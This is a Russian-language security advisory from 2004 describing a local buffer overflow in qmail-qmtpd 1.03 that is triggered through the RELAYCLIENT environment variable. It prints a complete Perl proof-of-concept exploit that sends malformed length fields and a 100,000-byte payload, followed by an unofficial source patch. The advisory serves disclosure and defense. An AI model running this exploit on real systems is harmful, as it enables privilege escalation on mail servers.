Security Lab

Локальное переполнение буфера в qmail-qmtpd

Дата публикации:05.03.2004
Всего просмотров:1750
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Qmail-qmtpd 1.03

Описание: Переполнение буфера обнаружено в qmail-qmtpd. Локальный пользователь может получить поднятые привилегии.

Локальный пользователь может установить RELAYCLIENT переменную окружения к специально сформированному значению, чтобы вызвать переполнение буфера.

Пример/Эксплоит:

-qma-qmtpd.pl----
#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff

use IO::Socket;
use IO::Poll;

$ENV{"RELAYCLIENT"}="M\$UX";
open(SOCK,"|/var/qmail/bin/qmail-qmtpd");

my $req;
my $fromaddr="they\@m\$.weenies";
my $touser="postmaster";

print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\nCannot be used in vulnerability d
atabases and similar stuff\n";

$req  = "1:\n,";
$req .= "1:V,";
$req .= "/:"; #biglen - this is how we code '-1'
$req .= ",:"; #len - this is how we code '-4'



print SOCK $req;
my $ch=getc();

$req = "v" x 100000;

print SOCK $req;
close SOCK;

URL производителя: http://www.qmail.org/

Решение:неофициальное исправление:

-patch-----
--- ../qmail-1.03/qmail-qmtpd.c	1998-06-15 13:53:16.000000000 +0300
+++ qmail-qmtpd.c	2004-02-29 16:15:13.000000000 +0200
@@ -45,8 +45,8 @@
   for (;;) {
     substdio_get(&ssin,&ch,1);
     if (ch == ':') return len;
-    if (len > 200000000) resources();
     len = 10 * len + (ch - '0');
+    if (len > 200000000 || ch < '0' || ch > '9') resources();
   }
 }
 
@@ -193,8 +193,8 @@
         substdio_get(&ssin,&ch,1);
         --biglen;
         if (ch == ':') break;
-        if (len > 200000000) resources();
         len = 10 * len + (ch - '0');
+	if (len > 200000000 || ch < '0' || ch > '9') resources();
       }
       if (len >= biglen) badproto();
       if (len + relayclientlen >= 1000) {

-----------
Ссылки: Buffer overflow in qmail-qmtpd, yet still qmail much better than windows